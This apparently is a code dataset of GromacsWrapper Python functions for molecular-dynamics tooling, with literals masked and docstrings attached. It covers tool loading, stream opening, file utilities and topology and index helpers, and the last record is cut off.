{"signature": "def load_v5_tools():", "body": "logger.debug(\"<STR_LIT>\")<EOL>drivers = config.get_tool_names()<EOL>if len(drivers) == <NUM_LIT:0> and '<STR_LIT>' in os.environ:<EOL><INDENT>drivers = find_executables(os.environ['<STR_LIT>'])<EOL><DEDENT>if len(drivers) == <NUM_LIT:0> or len(drivers) > <NUM_LIT:4>:<EOL><INDENT>drivers = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL><DEDENT>append = config.cfg.getboolean('<STR_LIT>', '<STR_LIT>', fallback=True)<EOL>tools = {}<EOL>for driver in drivers:<EOL><INDENT>suffix = driver.partition('<STR_LIT:_>')[<NUM_LIT:2>]<EOL>try:<EOL><INDENT>out = subprocess.check_output([driver, '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>'])<EOL>for line in out.splitlines()[<NUM_LIT:5>:-<NUM_LIT:1>]:<EOL><INDENT>line = str(line.decode('<STR_LIT:ascii>'))   <EOL>if line[<NUM_LIT:4>] != '<STR_LIT:U+0020>':<EOL><INDENT>name = line[<NUM_LIT:4>:line.index('<STR_LIT:U+0020>', <NUM_LIT:4>)]<EOL>fancy = make_valid_identifier(name)<EOL>if suffix and append:<EOL><INDENT>fancy = '<STR_LIT>'.format(fancy, suffix)<EOL><DEDENT>tools[fancy] = tool_factory(fancy, name, driver)<EOL><DEDENT><DEDENT><DEDENT>except (subprocess.CalledProcessError, OSError):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if not tools:<EOL><INDENT>errmsg = \"<STR_LIT>\".format(drivers)<EOL>logger.debug(errmsg)<EOL>raise GromacsToolLoadingError(errmsg)<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format(len(tools)))<EOL>return tools<EOL>", "docstring": "Load Gromacs 2018/2016/5.x tools automatically using some heuristic.\n\n    Tries to load tools (1) using the driver from configured groups (2) and\n    falls back to automatic detection from ``GMXBIN`` (3) then to rough guesses.\n\n    In all cases the command ``gmx help`` is ran to get all tools available.\n\n    :return: dict mapping tool names to GromacsCommand classes", "id": "f6865:m3"}
{"signature": "def load_v4_tools():", "body": "logger.debug(\"<STR_LIT>\")<EOL>names = config.get_tool_names()<EOL>if len(names) == <NUM_LIT:0> and '<STR_LIT>' in os.environ:<EOL><INDENT>names = find_executables(os.environ['<STR_LIT>'])<EOL><DEDENT>if len(names) == <NUM_LIT:0> or len(names) > len(V4TOOLS) * <NUM_LIT:4>:<EOL><INDENT>names = list(V4TOOLS)<EOL><DEDENT>names.extend(config.get_extra_tool_names())<EOL>tools = {}<EOL>for name in names:<EOL><INDENT>fancy = make_valid_identifier(name)<EOL>tools[fancy] = tool_factory(fancy, name, None)<EOL><DEDENT>if not tools:<EOL><INDENT>errmsg = \"<STR_LIT>\"<EOL>logger.debug(errmsg)<EOL>raise GromacsToolLoadingError(errmsg)<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format(len(tools)))<EOL>return tools<EOL>", "docstring": "Load Gromacs 4.x tools automatically using some heuristic.\n\n    Tries to load tools (1) in configured tool groups (2) and fails back  to\n    automatic detection from ``GMXBIN`` (3) then to a prefilled list.\n\n    Also load any extra tool configured in ``~/.gromacswrapper.cfg``\n\n    :return: dict mapping tool names to GromacsCommand classes", "id": "f6865:m4"}
{"signature": "def merge_ndx(*args):", "body": "ndxs = []<EOL>struct = None<EOL>for fname in args:<EOL><INDENT>if fname.endswith('<STR_LIT>'):<EOL><INDENT>ndxs.append(fname)<EOL><DEDENT>else:<EOL><INDENT>if struct is not None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>struct = fname<EOL><DEDENT><DEDENT>fd, multi_ndx = tempfile.mkstemp(suffix='<STR_LIT>', prefix='<STR_LIT>')<EOL>os.close(fd)<EOL>atexit.register(os.unlink, multi_ndx)<EOL>if struct:<EOL><INDENT>make_ndx = registry['<STR_LIT>'](f=struct, n=ndxs, o=multi_ndx)<EOL><DEDENT>else:<EOL><INDENT>make_ndx = registry['<STR_LIT>'](n=ndxs, o=multi_ndx)<EOL><DEDENT>_, _, _ = make_ndx(input=['<STR_LIT:q>'], stdout=False, stderr=False)<EOL>return multi_ndx<EOL>", "docstring": "Takes one or more index files and optionally one structure file and\n    returns a path for a new merged index file.\n\n    :param args: index files and zero or one structure file\n    :return: path for the new merged index file", "id": "f6865:m5"}
{"signature": "def autoconvert(s):", "body": "if type(s) is not str:<EOL><INDENT>return s<EOL><DEDENT>for converter in int, float, str:   <EOL><INDENT>try:<EOL><INDENT>s = [converter(i) for i in s.split()]<EOL>if len(s) == <NUM_LIT:1>:<EOL><INDENT>return s[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return numpy.array(s)<EOL><DEDENT><DEDENT>except (ValueError, AttributeError):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>raise ValueError(\"<STR_LIT>\".format(s))<EOL>", "docstring": "Convert input to a numerical type if possible.\n\n    1. A non-string object is returned as it is\n    2. Try conversion to int, float, str.", "id": "f6866:m0"}
{"signature": "@contextmanager<EOL>def openany(datasource, mode='<STR_LIT>', reset=True):", "body": "stream = anyopen(datasource, mode=mode, reset=reset)<EOL>try:<EOL><INDENT>yield stream<EOL><DEDENT>finally:<EOL><INDENT>stream.close()<EOL><DEDENT>", "docstring": "Context manager for :func:`anyopen`.\n\n    Open the `datasource` and close it when the context of the :keyword:`with`\n    statement exits.\n\n    `datasource` can be a filename or a stream (see :func:`isstream`). A stream\n    is reset to its start if possible (via :meth:`~io.IOBase.seek` or\n    :meth:`~cString.StringIO.reset`).\n\n    The advantage of this function is that very different input sources\n    (\"streams\") can be used for a \"file\", ranging from files on disk (including\n    compressed files) to open file objects to sockets and strings---as long as\n    they have a file-like interface.\n\n    :Arguments:\n      *datasource*\n           a file or a stream\n      *mode*\n           {'r', 'w'} (optional), open in r(ead) or w(rite) mode\n      *reset*\n           bool (optional) try to read (`mode` 'r') the stream from the\n           start [``True``]\n\n\n    **Example**\n\n    Open a gzipped file and process it line by line::\n\n        with openany(\"input.pdb.gz\") as pdb:\n            for line in pdb:\n                if line.startswith('ATOM'):\n                    print(line)\n\n    Open a URL and read it::\n\n       import urllib2\n       with openany(urllib2.urlopen(\"https://www.mdanalysis.org/\")) as html:\n           print(html.read())\n\n\n    .. SeeAlso::\n       :func:`anyopen`", "id": "f6866:m1"}
{"signature": "def anyopen(datasource, mode='<STR_LIT>', reset=True):", "body": "handlers = {'<STR_LIT>': bz2_open, '<STR_LIT>': gzip.open, '<STR_LIT>': open}<EOL>if mode.startswith('<STR_LIT:r>'):<EOL><INDENT>if isstream(datasource):<EOL><INDENT>stream = datasource<EOL>try:<EOL><INDENT>filename = str(stream.name)  <EOL><DEDENT>except AttributeError:<EOL><INDENT>filename = \"<STR_LIT>\"<EOL><DEDENT>if reset:<EOL><INDENT>try:<EOL><INDENT>stream.reset()<EOL><DEDENT>except (AttributeError, IOError):<EOL><INDENT>try:<EOL><INDENT>stream.seek(<NUM_LIT:0>)<EOL><DEDENT>except (AttributeError, IOError):<EOL><INDENT>warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(filename),<EOL>category=StreamWarning)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>stream = None<EOL>filename = datasource<EOL>for ext in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):  <EOL><INDENT>openfunc = handlers[ext]<EOL>stream = _get_stream(datasource, openfunc, mode=mode)<EOL>if stream is not None:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if stream is None:<EOL><INDENT>raise IOError(errno.EIO, \"<STR_LIT>\".format(**vars()), repr(filename))<EOL><DEDENT><DEDENT><DEDENT>elif mode.startswith('<STR_LIT:w>') or mode.startswith('<STR_LIT:a>'):  <EOL><INDENT>if isstream(datasource):<EOL><INDENT>stream = datasource<EOL>try:<EOL><INDENT>filename = str(stream.name)  <EOL><DEDENT>except AttributeError:<EOL><INDENT>filename = \"<STR_LIT>\"<EOL><DEDENT><DEDENT>else:<EOL><INDENT>stream = None<EOL>filename = datasource<EOL>name, ext = os.path.splitext(filename)<EOL>if ext.startswith('<STR_LIT:.>'):<EOL><INDENT>ext = ext[<NUM_LIT:1>:]<EOL><DEDENT>if not ext in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>ext = '<STR_LIT>'  <EOL><DEDENT>openfunc = handlers[ext]<EOL>stream = openfunc(datasource, mode=mode)<EOL>if stream is None:<EOL><INDENT>raise IOError(errno.EIO, \"<STR_LIT>\".format(**vars()), repr(filename))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise NotImplementedError(\"<STR_LIT>\".format(**vars()))<EOL><DEDENT>try:<EOL><INDENT>stream.name = filename<EOL><DEDENT>except (AttributeError, TypeError):<EOL><INDENT>pass  <EOL><DEDENT>return stream<EOL>", "docstring": "Open datasource (gzipped, bzipped, uncompressed) and return a stream.\n\n    `datasource` can be a filename or a stream (see :func:`isstream`). By\n    default, a stream is reset to its start if possible (via\n    :meth:`~io.IOBase.seek` or :meth:`~cString.StringIO.reset`).\n\n    If possible, the attribute ``stream.name`` is set to the filename or\n    \"<stream>\" if no filename could be associated with the *datasource*.\n\n    :Arguments:\n      *datasource*\n        a file (from :class:`file` or :func:`open`) or a stream (e.g. from\n        :func:`urllib2.urlopen` or :class:`cStringIO.StringIO`)\n      *mode*\n        {'r', 'w', 'a'} (optional),\n        Open in r(ead), w(rite) or a(ppen) mode. More complicated\n        modes ('r+', 'w+', ...) are not supported; only the first letter of\n        `mode` is used and thus any additional modifiers are silently ignored.\n      *reset*\n        bool (optional),\n        try to read (`mode` 'r') the stream from the start\n\n    :Returns:\n       file-like object\n\n\n    .. SeeAlso::\n       :func:`openany` to be used with the :keyword:`with` statement.", "id": "f6866:m2"}
{"signature": "def _get_stream(filename, openfunction=open, mode='<STR_LIT:r>'):", "body": "try:<EOL><INDENT>stream = openfunction(filename, mode=mode)<EOL><DEDENT>except (IOError, OSError) as err:<EOL><INDENT>if errno.errorcode[err.errno] in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>six.reraise(*sys.exc_info())<EOL><DEDENT>return None<EOL><DEDENT>if mode.startswith('<STR_LIT:r>'):<EOL><INDENT>try:<EOL><INDENT>stream.readline()<EOL><DEDENT>except IOError:<EOL><INDENT>stream.close()<EOL>stream = None<EOL><DEDENT>except:<EOL><INDENT>stream.close()<EOL>raise<EOL><DEDENT>else:<EOL><INDENT>stream.close()<EOL>stream = openfunction(filename, mode=mode)<EOL><DEDENT><DEDENT>return stream<EOL>", "docstring": "Return open stream if *filename* can be opened with *openfunction* or else ``None``.", "id": "f6866:m3"}
{"signature": "def hasmethod(obj, m):", "body": "return hasattr(obj, m) and callable(getattr(obj, m))<EOL>", "docstring": "Return ``True`` if object *obj* contains the method *m*.\n\n    .. versionadded:: 0.7.1", "id": "f6866:m4"}
{"signature": "def isstream(obj):", "body": "signature_methods = (\"<STR_LIT>\",)<EOL>alternative_methods = (<EOL>(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"),<EOL>(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"))<EOL>for m in signature_methods:<EOL><INDENT>if not hasmethod(obj, m):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>alternative_results = [<EOL>numpy.all([hasmethod(obj, m) for m in alternatives])<EOL>for alternatives in alternative_methods]<EOL>return numpy.any(alternative_results)<EOL>", "docstring": "Detect if `obj` is a stream.\n\n    We consider anything a stream that has the methods\n\n    - ``close()``\n\n    and either set of the following\n\n    - ``read()``, ``readline()``, ``readlines()``\n    - ``write()``, ``writeline()``, ``writelines()``\n\n    :Arguments:\n      *obj*\n          stream or str\n\n    :Returns:\n      *bool*, ``True`` if `obj` is a stream, ``False`` otherwise\n\n    .. SeeAlso::\n       :mod:`io`\n\n\n    .. versionadded:: 0.7.1", "id": "f6866:m5"}
{"signature": "def convert_aa_code(x):", "body": "if len(x) == <NUM_LIT:1>:<EOL><INDENT>return amino_acid_codes[x.upper()]<EOL><DEDENT>elif len(x) == <NUM_LIT:3>:<EOL><INDENT>return inverse_aa_codes[x.upper()]<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % x)<EOL><DEDENT>", "docstring": "Converts between 3-letter and 1-letter amino acid codes.", "id": "f6866:m6"}
{"signature": "@contextmanager<EOL>def in_dir(directory, create=True):", "body": "startdir = os.getcwd()<EOL>try:<EOL><INDENT>try:<EOL><INDENT>os.chdir(directory)<EOL>logger.debug(\"<STR_LIT>\".format(**vars()))<EOL><DEDENT>except OSError as err:<EOL><INDENT>if create and err.errno == errno.ENOENT:<EOL><INDENT>os.makedirs(directory)<EOL>os.chdir(directory)<EOL>logger.info(\"<STR_LIT>\".format(**vars()))<EOL><DEDENT>else:<EOL><INDENT>logger.exception(\"<STR_LIT>\".format(**vars()))<EOL>raise<EOL><DEDENT><DEDENT>yield os.getcwd()<EOL><DEDENT>finally:<EOL><INDENT>os.chdir(startdir)<EOL><DEDENT>", "docstring": "Context manager to execute a code block in a directory.\n\n    * The directory is created if it does not exist (unless\n      create=False is set)\n    * At the end or after an exception code always returns to\n      the directory that was the current directory before entering\n      the block.", "id": "f6866:m7"}
{"signature": "def realpath(*args):", "body": "if None in args:<EOL><INDENT>return None<EOL><DEDENT>return os.path.realpath(<EOL>os.path.expandvars(os.path.expanduser(os.path.join(*args))))<EOL>", "docstring": "Join all args and return the real path, rooted at /.\n\n    Expands ``~`` and environment variables such as :envvar:`$HOME`.\n\n    Returns ``None`` if any of the args is none.", "id": "f6866:m8"}
{"signature": "def find_first(filename, suffices=None):", "body": "<EOL>root,extension = os.path.splitext(filename)<EOL>if suffices is None:<EOL><INDENT>suffices = []<EOL><DEDENT>else:<EOL><INDENT>suffices = withextsep(suffices)<EOL><DEDENT>extensions = [extension] + suffices  <EOL>for ext in extensions:<EOL><INDENT>fn = root + ext<EOL>if os.path.exists(fn):<EOL><INDENT>return fn<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Find first *filename* with a suffix from *suffices*.\n\n    :Arguments:\n      *filename*\n         base filename; this file name is checked first\n      *suffices*\n         list of suffices that are tried in turn on the root of *filename*; can contain the\n         ext separator (:data:`os.path.extsep`) or not\n\n    :Returns: The first match or ``None``.", "id": "f6866:m9"}
{"signature": "def withextsep(extensions):", "body": "def dottify(x):<EOL><INDENT>if x.startswith(os.path.extsep):<EOL><INDENT>return x<EOL><DEDENT>return os.path.extsep + x<EOL><DEDENT>return [dottify(x) for x in asiterable(extensions)]<EOL>", "docstring": "Return list in which each element is guaranteed to start with :data:`os.path.extsep`.", "id": "f6866:m10"}
{"signature": "def find_files(directory, pattern):", "body": "for root, dirs, files in os.walk(directory):<EOL><INDENT>for basename in files:<EOL><INDENT>if fnmatch.fnmatch(basename, pattern):<EOL><INDENT>filename = os.path.join(root, basename)<EOL>yield filename<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Find files recursively under *directory*, matching *pattern* (generator).\n\n    *pattern* is a UNIX-style glob pattern as used ny :func:`fnmatch.fnmatch`.\n\n    Recipe by Bruno Oliveira from\n    http://stackoverflow.com/questions/2186525/use-a-glob-to-find-files-recursively-in-python", "id": "f6866:m11"}
{"signature": "def which(program):", "body": "def is_exe(fpath):<EOL><INDENT>return os.path.isfile(fpath) and os.access(fpath, os.X_OK)<EOL><DEDENT>fpath, fname = os.path.split(program)<EOL>if fpath:<EOL><INDENT>real_program = realpath(program)<EOL>if is_exe(real_program):<EOL><INDENT>return real_program<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for path in os.environ[\"<STR_LIT>\"].split(os.pathsep):<EOL><INDENT>exe_file = os.path.join(path, program)<EOL>if is_exe(exe_file):<EOL><INDENT>return exe_file<EOL><DEDENT><DEDENT><DEDENT>return None<EOL>", "docstring": "Determine full path of executable *program* on :envvar:`PATH`.\n\n    (Jay at http://stackoverflow.com/questions/377017/test-if-executable-exists-in-python)\n\n    .. versionadded:: 0.5.1", "id": "f6866:m12"}
{"signature": "def iterable(obj):", "body": "if isinstance(obj, string_types):<EOL><INDENT>return False    <EOL><DEDENT>if hasattr(obj, '<STR_LIT>'):<EOL><INDENT>return True    <EOL><DEDENT>try:<EOL><INDENT>len(obj)       <EOL><DEDENT>except TypeError:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Returns ``True`` if *obj* can be iterated over and is *not* a  string.", "id": "f6866:m13"}
{"signature": "def asiterable(obj):", "body": "if not iterable(obj):<EOL><INDENT>obj = [obj]<EOL><DEDENT>return obj<EOL>", "docstring": "Returns obj so that it can be iterated over; a string is *not* treated as iterable", "id": "f6866:m14"}
{"signature": "def firstof(obj):", "body": "return asiterable(obj)[<NUM_LIT:0>]<EOL>", "docstring": "Returns the first entry of a sequence or the obj.\n\n    Treats strings as single objects.", "id": "f6866:m15"}
{"signature": "def unlink_f(path):", "body": "try:<EOL><INDENT>os.unlink(path)<EOL><DEDENT>except OSError as err:<EOL><INDENT>if err.errno != errno.ENOENT:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>", "docstring": "Unlink path but do not complain if file does not exist.", "id": "f6866:m16"}
{"signature": "def unlink_gmx(*args):", "body": "for path in args:<EOL><INDENT>unlink_f(path)<EOL><DEDENT>unlink_gmx_backups(*args)<EOL>", "docstring": "Unlink (remove) Gromacs file(s) and all corresponding backups.", "id": "f6866:m17"}
{"signature": "def unlink_gmx_backups(*args):", "body": "for path in args:<EOL><INDENT>dirname, filename = os.path.split(path)<EOL>fbaks = glob.glob(os.path.join(dirname, '<STR_LIT:#>'+filename+'<STR_LIT>'))<EOL>for bak in fbaks:<EOL><INDENT>unlink_f(bak)<EOL><DEDENT><DEDENT>", "docstring": "Unlink (rm) all backup files corresponding to the listed files.", "id": "f6866:m18"}
{"signature": "def mkdir_p(path):", "body": "try:<EOL><INDENT>os.makedirs(path)<EOL><DEDENT>except OSError as err:<EOL><INDENT>if err.errno != errno.EEXIST:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>", "docstring": "Create a directory *path* with subdirs but do not complain if it exists.\n\n    This is like GNU ``mkdir -p path``.", "id": "f6866:m19"}
{"signature": "def cat(f=None, o=None):", "body": "<EOL>if f is None or o is None:<EOL><INDENT>return<EOL><DEDENT>target = o<EOL>infiles = asiterable(f)<EOL>logger.debug(\"<STR_LIT>\".format(\"<STR_LIT:U+0020>\".join(infiles), target))<EOL>with open(target, '<STR_LIT:w>') as out:<EOL><INDENT>rc = subprocess.call(['<STR_LIT>'] + infiles, stdout=out)<EOL><DEDENT>if rc != <NUM_LIT:0>:<EOL><INDENT>msg = \"<STR_LIT>\".format(rc, \"<STR_LIT:U+0020>\".join(infiles), target)<EOL>logger.exception(msg)<EOL>raise OSError(errno.EIO, msg, target)<EOL><DEDENT>", "docstring": "Concatenate files *f*=[...] and write to *o*", "id": "f6866:m20"}
{"signature": "def activate_subplot(numPlot):", "body": "<EOL>from pylab import gcf, axes<EOL>numPlot -= <NUM_LIT:1>  <EOL>return axes(gcf().get_axes()[numPlot])<EOL>", "docstring": "Make subplot *numPlot* active on the canvas.\n\n    Use this if a simple ``subplot(numRows, numCols, numPlot)``\n    overwrites the subplot instead of activating it.", "id": "f6866:m21"}
{"signature": "def remove_legend(ax=None):", "body": "from pylab import gca, draw<EOL>if ax is None:<EOL><INDENT>ax = gca()<EOL><DEDENT>ax.legend_ = None<EOL>draw()<EOL>", "docstring": "Remove legend for axes or gca.\n\n    See http://osdir.com/ml/python.matplotlib.general/2005-07/msg00285.html", "id": "f6866:m22"}
{"signature": "def number_pdbs(*args, **kwargs):", "body": "format = kwargs.pop('<STR_LIT>', \"<STR_LIT>\")<EOL>name_format = \"<STR_LIT>\" + format +\"<STR_LIT>\"<EOL>for f in itertools.chain.from_iterable(map(glob.glob, args)):<EOL><INDENT>m = NUMBERED_PDB.search(f)<EOL>if m is None:<EOL><INDENT>continue<EOL><DEDENT>num = int(m.group('<STR_LIT>'))<EOL>prefix = m.group('<STR_LIT>')<EOL>suffix = m.group('<STR_LIT>')<EOL>newname = name_format % vars()<EOL>logger.info(\"<STR_LIT>\".format(**vars()))<EOL>try:<EOL><INDENT>os.rename(f, newname)<EOL><DEDENT>except OSError:<EOL><INDENT>logger.exception(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Rename pdbs x1.pdb ... x345.pdb --> x0001.pdb ... x0345.pdb\n\n    :Arguments:\n       - *args*: filenames or glob patterns (such as \"pdb/md*.pdb\")\n       - *format*: format string including keyword *num* [\"%(num)04d\"]", "id": "f6866:m23"}
{"signature": "def _init_filename(self, filename=None, ext=None):", "body": "extension = ext or self.default_extension<EOL>filename = self.filename(filename, ext=extension, use_my_ext=True, set_default=True)<EOL>self.real_filename = os.path.realpath(filename)<EOL>", "docstring": "Initialize the current filename :attr:`FileUtils.real_filename` of the object.\n\n        Bit of a hack.\n\n        - The first invocation must have ``filename != None``; this will set a\n          default filename with suffix :attr:`FileUtils.default_extension`\n          unless another one was supplied.\n\n        - Subsequent invocations either change the filename accordingly or\n          ensure that the default filename is set with the proper suffix.", "id": "f6866:c1:m0"}
{"signature": "def filename(self,filename=None,ext=None,set_default=False,use_my_ext=False):", "body": "if filename is None:<EOL><INDENT>if not hasattr(self,'<STR_LIT>'):<EOL><INDENT>self._filename = None        <EOL><DEDENT>if self._filename:<EOL><INDENT>filename = self._filename<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>my_ext = None<EOL><DEDENT>else:<EOL><INDENT>filename, my_ext = os.path.splitext(filename)<EOL>if set_default:                  <EOL><INDENT>self._filename = filename<EOL><DEDENT><DEDENT>if my_ext and use_my_ext:<EOL><INDENT>ext = my_ext<EOL><DEDENT>if ext is not None:<EOL><INDENT>if ext.startswith(os.extsep):<EOL><INDENT>ext = ext[<NUM_LIT:1>:]  <EOL><DEDENT>if ext != \"<STR_LIT>\":<EOL><INDENT>filename = filename + os.extsep + ext<EOL><DEDENT><DEDENT>return filename<EOL>", "docstring": "Supply a file name for the class object.\n\n        Typical uses::\n\n           fn = filename()             ---> <default_filename>\n           fn = filename('name.ext')   ---> 'name'\n           fn = filename(ext='pickle') ---> <default_filename>'.pickle'\n           fn = filename('name.inp','pdf') --> 'name.pdf'\n           fn = filename('foo.pdf',ext='png',use_my_ext=True) --> 'foo.pdf'\n\n        The returned filename is stripped of the extension\n        (``use_my_ext=False``) and if provided, another extension is\n        appended. Chooses a default if no filename is given.\n\n        Raises a ``ValueError`` exception if no default file name is known.\n\n        If ``set_default=True`` then the default filename is also set.\n\n        ``use_my_ext=True`` lets the suffix of a provided filename take\n        priority over a default ``ext`` tension.\n\n        .. versionchanged:: 0.3.1\n           An empty string as *ext* = \"\" will suppress appending an extension.", "id": "f6866:c1:m1"}
{"signature": "def check_file_exists(self, filename, resolve='<STR_LIT>', force=None):", "body": "def _warn(x):<EOL><INDENT>msg = \"<STR_LIT>\".format(x)<EOL>logger.warn(msg)<EOL>warnings.warn(msg)<EOL>return True<EOL><DEDENT>def _raise(x):<EOL><INDENT>msg = \"<STR_LIT>\".format(x)<EOL>logger.error(msg)<EOL>raise IOError(errno.EEXIST, x, msg)<EOL><DEDENT>solutions = {'<STR_LIT:ignore>': lambda x: False,      <EOL>'<STR_LIT>': lambda x: True,     <EOL>'<STR_LIT>': _warn,<EOL>'<STR_LIT>': _warn,<EOL>'<STR_LIT>': _raise,<EOL>'<STR_LIT>': _raise,<EOL>}<EOL>if force is True:<EOL><INDENT>resolve = '<STR_LIT:ignore>'<EOL><DEDENT>elif force is False:<EOL><INDENT>resolve = '<STR_LIT>'<EOL><DEDENT>if not os.path.isfile(filename):<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return solutions[resolve](filename)<EOL><DEDENT>", "docstring": "If a file exists then continue with the action specified in ``resolve``.\n\n        ``resolve`` must be one of\n\n        \"ignore\"\n              always return ``False``\n        \"indicate\"\n              return ``True`` if it exists\n        \"warn\"\n              indicate and issue a :exc:`UserWarning`\n        \"exception\"\n              raise :exc:`IOError` if it exists\n\n        Alternatively, set *force* for the following behaviour (which\n        ignores *resolve*):\n\n        ``True``\n              same as *resolve* = \"ignore\" (will allow overwriting of files)\n        ``False``\n              same as *resolve* = \"exception\" (will prevent overwriting of files)\n        ``None``\n              ignored, do whatever *resolve* says", "id": "f6866:c1:m2"}
{"signature": "def infix_filename(self, name, default, infix, ext=None):", "body": "if name is None:<EOL><INDENT>p, oldext = os.path.splitext(default)<EOL>if ext is None:<EOL><INDENT>ext = oldext<EOL><DEDENT>if ext.startswith(os.extsep):<EOL><INDENT>ext = ext[<NUM_LIT:1>:]<EOL><DEDENT>name = self.filename(p+infix, ext=ext)<EOL><DEDENT>return name<EOL>", "docstring": "Unless *name* is provided, insert *infix* before the extension *ext* of *default*.", "id": "f6866:c1:m3"}
{"signature": "@property<EOL><INDENT>def dhours(self):<DEDENT>", "body": "return self.seconds // <NUM_LIT><EOL>", "docstring": "Hours component of the timedelta.", "id": "f6866:c2:m0"}
{"signature": "@property<EOL><INDENT>def dminutes(self):<DEDENT>", "body": "return self.seconds // <NUM_LIT> - <NUM_LIT>*self.dhours<EOL>", "docstring": "Minutes component of the timedelta.", "id": "f6866:c2:m1"}
{"signature": "@property<EOL><INDENT>def dseconds(self):<DEDENT>", "body": "return self.seconds - <NUM_LIT>*self.dhours - <NUM_LIT>*self.dminutes<EOL>", "docstring": "Seconds component of the timedelta.", "id": "f6866:c2:m2"}
{"signature": "@property<EOL><INDENT>def ashours(self):<DEDENT>", "body": "return <NUM_LIT>*self.days + self.seconds / <NUM_LIT><EOL>", "docstring": "Timedelta in (fractional) hours.", "id": "f6866:c2:m3"}
{"signature": "def strftime(self, fmt=\"<STR_LIT>\"):", "body": "substitutions = {<EOL>\"<STR_LIT>\": str(self.days),<EOL>\"<STR_LIT>\": \"<STR_LIT>\".format(self.dhours),<EOL>\"<STR_LIT>\": str(<NUM_LIT>*self.days + self.dhours),<EOL>\"<STR_LIT>\": \"<STR_LIT>\".format(self.dminutes),<EOL>\"<STR_LIT>\": \"<STR_LIT>\".format(self.dseconds),<EOL>}<EOL>s = fmt<EOL>for search, replacement in substitutions.items():<EOL><INDENT>s = s.replace(search, replacement)<EOL><DEDENT>return s<EOL>", "docstring": "Primitive string formatter.\n\n        The only directives understood are the following:\n          ============   ==========================\n          Directive      meaning\n          ============   ==========================\n          %d             day as integer\n          %H             hour  [00-23]\n          %h             hours including days\n          %M             minute as integer [00-59]\n          %S             second as integer [00-59]\n          ============   ==========================", "id": "f6866:c2:m4"}
{"signature": "def topology(struct=None, protein='<STR_LIT>',<EOL>top='<STR_LIT>',  dirname='<STR_LIT>',<EOL>posres=\"<STR_LIT>\",<EOL>ff=\"<STR_LIT>\", water=\"<STR_LIT>\",<EOL>**pdb2gmx_args):", "body": "structure = realpath(struct)<EOL>new_struct = protein + '<STR_LIT>'<EOL>if posres is None:<EOL><INDENT>posres = protein + '<STR_LIT>'<EOL><DEDENT>pdb2gmx_args.update({'<STR_LIT:f>': structure, '<STR_LIT:o>': new_struct, '<STR_LIT:p>': top, '<STR_LIT:i>': posres,<EOL>'<STR_LIT>': ff, '<STR_LIT>': water})<EOL>with in_dir(dirname):<EOL><INDENT>logger.info(\"<STR_LIT>\".format(**vars()))<EOL>gromacs.pdb2gmx(**pdb2gmx_args)<EOL><DEDENT>return {'<STR_LIT>': realpath(dirname, top),'<STR_LIT>': realpath(dirname, new_struct),'<STR_LIT>' : realpath(dirname, posres) }<EOL>", "docstring": "Build Gromacs topology files from pdb.\n\n    :Keywords:\n       *struct*\n           input structure (**required**)\n       *protein*\n           name of the output files\n       *top*\n           name of the topology file\n       *dirname*\n           directory in which the new topology will be stored\n       *ff*\n           force field (string understood by ``pdb2gmx``); default\n           \"oplsaa\"\n       *water*\n           water model (string), default \"tip4p\"\n       *pdb2gmxargs*\n           other arguments for ``pdb2gmx``\n\n    .. note::\n       At the moment this function simply runs ``pdb2gmx`` and uses\n       the resulting topology file directly. If you want to create\n       more complicated topologies and maybe also use additional itp\n       files or make a protein itp file then you will have to do this\n       manually.", "id": "f6867:m0"}
{"signature": "def make_main_index(struct, selection='<STR_LIT>', ndx='<STR_LIT>', oldndx=None):", "body": "logger.info(\"<STR_LIT>\".format(**vars()))<EOL>_,out,_ = gromacs.make_ndx(f=struct, n=oldndx, o=ndx, stdout=False,<EOL>input=(\"<STR_LIT>\", \"<STR_LIT:q>\"))<EOL>groups = cbook.parse_ndxlist(out)<EOL>selection = selection.strip(\"<STR_LIT>\")<EOL>selected_groups = [g for g in groups if g['<STR_LIT:name>'].lower() == selection.lower()]<EOL>if len(selected_groups) > <NUM_LIT:1>:<EOL><INDENT>logging.warn(\"<STR_LIT>\")<EOL><DEDENT>if len(selected_groups) <= <NUM_LIT:0>:<EOL><INDENT>msg = \"<STR_LIT>\".format(selection, groups)<EOL>logging.error(msg)<EOL>raise ValueError(msg)<EOL><DEDENT>last = len(groups) - <NUM_LIT:1><EOL>assert last == groups[-<NUM_LIT:1>]['<STR_LIT>']<EOL>group = selected_groups[<NUM_LIT:0>]<EOL>_,out,_ = gromacs.make_ndx(f=struct, n=ndx, o=ndx,<EOL>stdout=False,<EOL>input=(\"<STR_LIT>\".format(group['<STR_LIT>']),<EOL>\"<STR_LIT>\".format(last+<NUM_LIT:1>),<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\".format(last+<NUM_LIT:2>),<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT:q>\"))<EOL>return cbook.parse_ndxlist(out)<EOL>", 